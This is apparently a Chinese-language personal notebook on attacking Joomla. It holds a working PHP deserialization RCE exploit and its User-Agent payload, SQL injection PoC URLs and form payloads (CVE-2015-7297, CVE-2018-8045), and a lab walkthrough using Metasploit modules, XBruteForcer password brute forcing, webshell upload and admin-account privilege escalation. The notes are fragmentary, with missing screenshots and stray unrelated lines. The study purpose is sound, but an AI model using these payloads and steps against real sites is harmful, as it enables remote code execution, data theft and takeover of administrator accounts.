开始复现漏洞
使用w9scan测出存在注入
官网:https://developer.joomla.org/security-centre/723-20180301-core-sqli-vulnerability.html
登录后台后:
升级包中的notes.php中,对$categoryId的值进行了限制,强制转换为int类型,可以确定,这个漏洞就出在这里。
在这里说个题外话,notes.php中getState方法出现过很多次,分别有
getState(‘filter.search’)
getState(‘filter.published’)
getState(‘filter.category_id’)
getState(‘filter.user_id’)
getState(‘filter.level’)
但是唯有getState(‘filter.category_id’)方法没有进行(int)类型转换,存在着漏洞隐患,这可能是开发者一时的疏忽吧。
CVE-2018-8045 漏洞分析
来看下存在漏洞的代码:
// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');
if ($categoryId && is_scalar($categoryId))
{
$query->where('a.catid = ' . $categoryId);
}
$categoryId未经过滤直接拼接sql语句进行查询,造成了sql注入。
此时我们需要的filter[category_id]参数出现在了post参数中,通过这个参数的值,即可畅通无阻的进行注入。
下面验证下这个filter[category_id]参部分可以直接传递给后台的$categoryId参数
我们修改了filter[category_id]参数内容为’kingsguard_test’,并发包
后台下断点,抓取$categoryId值,可见’kingsguard_test’原封不动的被传递给$categoryId参数,并拼接sql语句进行查询。
POST注入 -p filter[category_id]指定参数
但失败了
Joomla远程代码执行漏洞(Phith0n)
这个漏洞影响Joomla 1.5 to 3.4全版本
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
echo serialize($a);
将这个代码生成的exp,以前面提到的注入『|』的变换方式,带入前面提到的user-agent中,即可触发代码执行。
其中,我们需要将char(0)*char(0)
替换成\0\0\0,因为在序列化的时候,protected类型变量会被转换成\0*\0name
的样式,这个替换在源代码中也可以看到:
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
构造的时候遇到一点小麻烦,那就是默认情况下SimplePie是没有定义的,这也是为什么我在调用SimplePie之前先new了一个JSimplepieFactory的原因,因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前工作环境:
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð
Joomla 3.2-3.44
可执行POC:
/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))
E:\Website\PHPstudy\PHPTutorial\WWW\CMS\Joomla_3.8.10\administrator\templates\hathor\postinstall\hathormessage.php 漏洞点
poc:
-----------------------------4589244178781
Content-Disposition: form-data; name="jform[params][admin_style][]"
22 and updataxml (0x3a,concat(1,(select user())),1)#
访问post_install页面触发
我下的是3.8.10已经修复。明天做的事就是找个站点检测,顺便学习如何爆出joomla版本
明显只有当$script_name = $_SERVER['PHP_SELF']
的时候,漏洞才有可能成立
只有当php是fastcgi运行,而且cgi.fix_pathinfo = 0时才能进入这个判断,然后利用漏洞还有一个条件,就是服务端对路径的解析存在问题才行。
无法弹框
正常如下
漏洞成因
让我们看看完整的代码
很明显后面module_tag
没有经过更多处理,就输出了,假设我们可控module_tag
,那么漏洞就成立。
问题在于怎么控制,这里的函数找不到调用的地方,能触发的地方都返回了传入的第二个值,猜测和上面的get_param
一样,如果没有设置该变量,则返回default
值。
经过一番研究,并没有找到可控的设置的点,这里只能暂时放弃。
操作机:Kali
IP:172.16.11.2
目标机:Windows Server 2003
IP:172.16.12.2
请访问http://file.ichunqiu.com/Xbrt4er5下载实验文件
学习Joomla站点的渗透过程
学习和了解使用Mestasploit对Joomla站点进行渗透的方法
学习和了解Joomla暴力破解管理员后台登录密码的方法
Mestasploit:
开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其辅助模块。
XBruteForcer
一款支持对多种常见CMS实施密码爆破的工具。目前,X Brute Forcer所支持自动识别和暴力破解的CMS包括WordPress,Joomla,DruPal,OpenCart,Magento。
实验内容
Joomla
Joomla是一套全球知名的内容管理系统。
Joomla是使用PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matters(见扩展阅读)这个开放源码组织进行开发与支持。
它是网站的一个基础管理平台,几乎适合从个人博客网站到百货销售类型的各类网站,应用十分广泛。
课程介绍
本系列实验我们将从信息收集入手,利用工具获取Joomla程序的版本信息,再针对信息收集获得的信息,去查找和验证相应的漏洞。
通过爆破后台、主站漏洞利用、后台获取WebShell等不同角度去发现目标站点的漏洞,从而达到脱离漏洞本体,学会如何渗透Joomla目标站点,降低Joomla站点面临的风险。
后台弱口令爆破前提
在使用XBruteForcer对Joomla进行暴力破解的前提条件:
需要事先获取到后台管理员的用户名
本实验主要先通过多种信息收集的方式确定出主站的系统版本,然后针对该版本具有的漏洞,使用Mestasploit辅助模块对Joomla程序进行SQL注入,从而获取后台管理员的用户名.
再使用XBruteForcer程序对Joomla系统后台管理员的登录密码进行暴力破解,最终获取管理员后台登录用户名和密码。
步骤1 :信息收集
打开桌面上的firefox浏览器访问http://172.16.12.2地址,查看Joomla程序是否运行正常
WordPress默认安装情况下,根目录会留有开发人员编写的readme.html文件,通过访问该文件,我们可以大概的知道站点的WordPress版本号。
识别指纹
打开浏览器,访问http://172.16.12.2/readme.txt
如Google的新版ReCaptcha
可知版本号为3.x,但这里还是无法确定Joomla的具体版本,而且如果管理员在程序安装后删除了该文件,我们该如何判断呢?
这里可以使用Mestasploit的辅助模块对其进行详细检测,打开桌面上的Kali终端,输入msfconsole,开启Mestasploit命令行控制台
使用search命令,查看Joomla系统的漏洞利用模块
search joomla
如下根据程序名称查询到的相关的可用模块
这里使用Mestasploit内置的joomla_registration_privesc辅助模块对Joomla程序的版本进行检测。该模块利用了Joomla3.6.4版本之前在UsersModelRegistration类中存在的未对注册用户数据进行验证和过滤,导致渗透测试人员可以进行远程注册管理员信息而获取特权。
此模块在会优先对Joomla程序进行详细的版本检测,而且成功利用后会在Joomla后台创建一个管理员账户,而创建的新用户在默认情况下是被禁用的,但是如果后台管理员配置了邮件服务器,渗透测试人员利用该模块成功后会收到一封用于账户激活的邮件。这里主要利用该模块进行信息收集查询Joomla的详细版本信息。
使用use命令,选择我们要使用的辅助模块
use auxiliary/admin/http/joomla_registration_privesc
在运行该模块之前,需要设置相关的选项参数,我们使用show options查看配置信息
首先需要设置目标地址,设置命令:
set RHOST 172.16.12.2
设置完成后,执行run或者exploit命令,等待执行结果
这里可以看到,Mestasploit已经成功检测到Joomla的详细版本信息,而且完成了该模块的完整渗透步骤,在后台创建了一个无法登陆的管理用户,但是由于Joomla的管理员未为程序配置的邮件服务器,此次测试中无法通过接受激活新增管理员的信息而伪造管理员身份进行登陆,所以此次渗透还得另寻他法。
步骤2:SQL注入漏洞
之前已经通过信息收集得知了Joomla的详细版本为3.3,通过对该版本的Joomla程序进行漏洞查询得知,Joomla程序版本在3.2~3.4.4之间存在一个高危的SQL注入漏洞,且漏洞编号为CVE-2015-7297。
更详细的信息请查看:CVE-2015-7297
再次在Mestasploit终端控制台中使用search命令根据CVE漏洞编号,查询该漏洞的相关模块
search CVE-2015-7297
如下根据CVE编号查询到的相关的可用模块
使用use命令,且选择auxiliary/gather/joomla_contenthistory_sqli辅助模块
use auxiliary/gather/joomla_contenthistory_sqli
同样的,在运行该模块之前,需要设置相关的选项参数,我们使用show options查看配置信息
首先需要设置目标地址,设置命令:
set RHOST 172.16.12.2
设置完成后,执行run或者exploit命令,等待执行结果
根据Mestasploit的执行信息,将执行的结果返回到/root/.msf4/loot/目录下的txt文本中 使用cat命令对文件进进行查看
并且根据SQL注入执行返回的结果,得到的信息有管理员邮箱,后台登录密码,后台用户名等信息。
注:但是由于Joomla程序的加密方式特殊,无法对password字段的内容进行解密,因此此处得到的较为重要的信息是管理员的后台登录用户名,方便我们接下来对该程序的管理员后台进行暴力破解
步骤3:暴力破解
使用XBruteForcer程序对Joomla的管理员后台登录进行暴力破解
重新打开桌面上的Kali终端,使用cd命令,切换到XBruteForcer程序所在目录
cd XBruteForcer
使用vim命令编辑XBruteForcer.pl程序代码
在vim编辑器内,依次输入:set nu显示行号,: 331切换至代码的第331行,修改程序内的joomuser变量值为上一步骤获取到的管理员后台用户名ichunqiu,使用:wp命令保存退出vim编辑器
使用echo命令创建XBruteForcer的站点列表文本
echo http://172.16.12.2 > list.txt
在终端内使用如下命令,启动XBruteForcer程序,对Joomla程序后台进行暴力破解
perl XBruteForcer.pl -l list.txt -p passwords.txt
程序执行并返回结果
同时XBruteForcer会将执行结果返回到当前目录下的Result.txt文本中 可以使用cat命令查看该文本中的内容
cat Result.txt
根据文本中的返回的后台地址以及管理员的账号和密码就可以登录Joomla系统后台了 在firefox浏览器中,输入后台地址http://172.16.12.2/administrator/,并输入由上一步得到的后台信息
用户名:ichunqiu密码:admin1q2w
成功登录管理员后台
实验到此结束
通过本节课的讲解,相信大家对Joomla程序实施渗透测试的方式有所了解,同时大家也学习了如何利用Mestasploit进行信息收集和漏洞利用。在接下来的课程中,我们将并结合经典的案例,讲解如进一步渗透Joomla程序。尽情期待~
https://www.exploit-db.com/exploits/40637/ exp
显示不允许注册
确认自己写的邮箱是有效的,否则无法接收到邮件。
打开这个网址:
将shell.php的内容放到pht中
再次使用exp
生成shell.php内容的pht,上传shell成功。
似乎失败了
msfconsole用法:
1)打开注册选项:
(2)注册用户
抓到注册用户的数据包
(3)将网站注册选项关闭,更改数据包进行用户注册,之后再使用Reapter进行发送
(4)用户注册成功,只是普通用户,将这个用户删掉,进行管理员账户的创建
(5)更改数据包,将创建的用户的分组设置为第七个分组,即管理员分组
(6)注册用户成功,提权成功,显示用户等级为Adaministrator
来自youtube
参考:https://www.unhonker.com/bug/2048.html
反序列绿盟报告
p牛的joomla远程代码执行漏洞
Joomla 3.2-3.44 Sql注入漏洞分析
创宇paper
PHP一些讲解
CVE-2016-8867、8870